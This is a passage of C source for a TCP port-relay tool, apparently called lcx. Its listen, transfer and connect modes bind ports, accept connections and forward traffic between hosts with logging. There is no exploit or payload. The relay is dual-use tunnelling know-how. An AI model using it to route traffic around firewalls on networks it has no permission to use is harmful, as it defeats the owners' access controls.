%s Successed,Transfering...\n",out2),fflush(lcx_log); 256 | in_createthread(in_data_tran,s); 257 | } 258 | else 259 | { 260 | fprintf(stdout,"\n[-] Connect %s Failed,CutDown...\n",out2); 261 | if(lcx_log)fprintf(lcx_log,"\n[-] Connect %s Failed,CutDown...\n",out2),fflush(lcx_log); 262 | closesocket(s[0]); 263 | closesocket(s[1]); 264 | } 265 | } 266 | else 267 | { 268 | fprintf(stdout,"\n[-] Create Socket Failed\n"); 269 | if(lcx_log)fprintf(lcx_log,"\n[-] Create Socket Failed\n"),fflush(lcx_log); 270 | return -1; 271 | } 272 | delay(1000); 273 | } 274 | return 0; 275 | } 276 | 277 | int lcx_listen(unsigned short port1,unsigned short port2) 278 | { 279 | SOCKET_INIT 280 | 281 | SOCKET s[2]={-1,-1}; 282 | unsigned short p[2]; 283 | p[0]=port1; 284 | p[1]=port2; 285 | 286 | struct sockaddr_in sa; 287 | sa.sin_family = AF_INET; 288 | sa.sin_addr.s_addr = INADDR_ANY; 289 | int i; 290 | int OK = 0; 291 | for(i=0; i<2; ++i) 292 | { 293 | s[i] = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 294 | if(s[i]!=-1) 295 | { 296 | fprintf(stdout,"\n[+] Create Socket %d Successed\n",i+1);fflush(stdout); 297 | if(lcx_log)fprintf(lcx_log,"\n[+] Create Socket %d Successed\n",i+1),fflush(lcx_log); 298 | sa.sin_port = htons(p[i]); 299 | if(bind(s[i],(struct sockaddr*)&sa,sizeof(sa))==0) 300 | { 301 | fprintf(stdout,"\n[+] Bind On Port %u Success\n",p[i]);fflush(stdout); 302 | if(lcx_log)fprintf(lcx_log,"\n[+] Bind On Port %u Success\n",p[i]),fflush(lcx_log); 303 | if(listen(s[i],SOMAXCONN)==0) 304 | { 305 | fprintf(stdout,"\n[+] Listen On Port %u Successed\n",p[i]);fflush(stdout); 306 | if(lcx_log)fprintf(lcx_log,"\n[+] Listen On Port %u Successed\n",p[i]),fflush(lcx_log); 307 | OK = 1; 308 | } 309 | else 310 | { 311 | fprintf(stdout,"\n[-] Listen On Port %u Failed\n",p[i]); 312 | if(lcx_log)fprintf(lcx_log,"\n[-] Listen On Port %u Failed\n",p[i]),fflush(lcx_log); 313 | break; 314 | } 315 | } 316 | else 317 | { 318 | fprintf(stdout,"\n[-] Bind On Port %u Failed\n",p[i]); 319 | if(lcx_log)fprintf(lcx_log,"\n[-] Bind On Port %u Failed\n",p[i]),fflush(lcx_log); 320 | break; 321 | } 322 | } 323 | else 324 | { 325 | fprintf(stdout,"\n[-] Create Socket %d Failed\n",i+1); 326 | if(lcx_log)fprintf(lcx_log,"\n[-] Create Socket %d Failed\n",i+1),fflush(lcx_log); 327 | break; 328 | } 329 | } 330 | if(!OK) 331 | { 332 | closesocket(s[0]); 333 | closesocket(s[1]); 334 | return -1; 335 | } 336 | 337 | i = 0; 338 | SOCKET t[2]; 339 | int sz = sizeof(sa); 340 | while(1) 341 | { 342 | fprintf(stdout,"\n[+] Waiting Connect On Port %u\n",p[i]);fflush(stdout); 343 | if(lcx_log)fprintf(lcx_log,"\n[+] Waiting Connect On Port %u\n",p[i]),fflush(lcx_log); 344 | t[i] = accept(s[i],(struct sockaddr*)&sa,&sz); 345 | const unsigned char *ip = (unsigned char*)&sa.sin_addr.s_addr; 346 | if(t[i]!=-1) 347 | { 348 | fprintf(stdout,"\n[+] Connect From %d.%d.%d.%d:%d On Port %d\n",ip[0],ip[1],ip[2],ip[3],htons(sa.sin_port),p[i]);fflush(stdout); 349 | if(lcx_log)fprintf(lcx_log,"\n[+] Connect From %d.%d.%d.%d:%d On Port %d\n",ip[0],ip[1],ip[2],ip[3],htons(sa.sin_port),p[i]),fflush(lcx_log); 350 | if(i==1) 351 | { 352 | in_createthread(in_data_tran,t); 353 | } 354 | i = (i==0); 355 | } 356 | else 357 | { 358 | fprintf(stdout,"\n[-] Accept Failed On Port %d\n",p[i]); 359 | if(lcx_log)fprintf(lcx_log,"\n[-] Accept Failed On Port %d\n",p[i]),fflush(lcx_log); 360 | i=0; 361 | } 362 | } 363 | return 0; 364 | } 365 | 366 | int lcx_tran(unsigned short port1,const char* ip2_str,unsigned short port2) 367 | { 368 | SOCKET_INIT 369 | SOCKET s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 370 | struct sockaddr_in sa; 371 | sa.sin_family = AF_INET; 372 | sa.sin_port = htons(port1); 373 | sa.sin_addr.s_addr = INADDR_ANY; 374 | int ok =0; 375 | if(s!=-1) 376 | { 377 | if(bind(s,(struct sockaddr*)&sa,sizeof(sa))==0) 378 | { 379 | if(listen(s,SOMAXCONN)==0) 380 | { 381 | ok = 1; 382 | fprintf(stdout,"\n[+] Listening On Port %d...\n",port1);fflush(stdout); 383 | if(lcx_log)fprintf(lcx_log,"\n[+] Listening On Port %d...\n",port1),fflush(lcx_log); 384 | } 385 | else 386 | { 387 | fprintf(stdout,"\n[-] Listen Failed\n"); 388 | if(lcx_log)fprintf(lcx_log,"\n[-] Listen Failed\n"),fflush(lcx_log); 389 | } 390 | } 391 | else 392 | { 393 | fprintf(stdout,"\n[-] Bind On Port %d Failed\n",port1); 394 | if(lcx_log)fprintf(lcx_log,"\n[-] Bind On Port %d Failed\n",port1),fflush(lcx_log); 395 | } 396 | } 397 | else 398 | { 399 | fprintf(stdout,"\n[-] Create Socket Failed\n"); 400 | if(lcx_log)fprintf(lcx_log,"\n[-] Create Socket Failed\n"),fflush(lcx_log); 401 | } 402 | if(!ok) 403 | { 404 | closesocket(s); 405 | return -1; 406 | } 407 | SOCKET tt[2]; 408 | SOCKET ac=-1; 409 | ok = sizeof(sa); 410 | char out1[100],out2[100]; 411 | while(1) 412 | { 413 | unsigned long ip2 = gethost(ip2_str); 414 | if(-1 == ip2) 415 | { 416 | fprintf(stdout,"\n[-] Reslove Host %s Failed...\n",ip2_str),fflush(stdout); 417 | break; 418 | } 419 | fprintf(stdout,"\n[+] Waiting Connect On Port %d...\n",port1);fflush(stdout); 420 | if(lcx_log)fprintf(lcx_log,"\n[+] Waiting Connect On Port %d...\n",port1),fflush(lcx_log); 421 | if(ac=accept(s,(struct sockaddr*)&sa,&ok),ac==-1) 422 | { 423 | break; 424 | } 425 | unsigned char* ip =(unsigned char*)&sa.sin_addr.s_addr; 426 | sprintf(out1,"%d.%d.%d.%d:%d",ip[0],ip[1],ip[2],ip[3],htons(sa.sin_port)); 427 | ip = (unsigned char*)&ip2; 428 | sprintf(out2,"%d.%d.%d.%d:%d",ip[0],ip[1],ip[2],ip[3],(port2)); 429 | fprintf(stdout,"\n[+] Connect From %s, Now Connect to %s\n",out1,out2);fflush(stdout); 430 | if(lcx_log)fprintf(lcx_log,"\n[+] Connect From %s, Now Connect to %s\n",out1,out2),fflush(lcx_log); 431 | sa.sin_port = htons(port2); 432 | sa.sin_addr.s_addr = ip2; 433 | SOCKET s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 434 | if(connect(s2,(struct sockaddr*)&sa,sizeof(sa))==0) 435 | { 436 | tt[0]=ac; 437 | tt[1]=s2; 438 | fprintf(stdout,"\n[+] Connect %s Successed,Start Transfer...\n",out2);fflush(stdout); 439 | if(lcx_log)fprintf(lcx_log,"\n[+] Connect %s Successed,Start Transfer...\n",out2),fflush(lcx_log); 440 | in_createthread(in_data_tran,tt); 441 | } 442 | else 443 | { 444 | fprintf(stdout,"\n[-] Connect %s Failed...\n",out2),fflush(stdout); 445 | if(lcx_log)fprintf(lcx_log,"\n[-] Connect %s Failed...\n",out2),fflush(lcx_log); 446 | closesocket(s2); 447 | closesocket(ac); 448 | } 449 | } 450 | closesocket(s); 451 | closesocket(ac); 452 | return 0; 453 | } 454 | 455 | void help(const char* name) 456 | { 457 | fprintf(stdout,"\nUsage of Packet Transmit:\n"); 458 | fprintf(stdout," %s -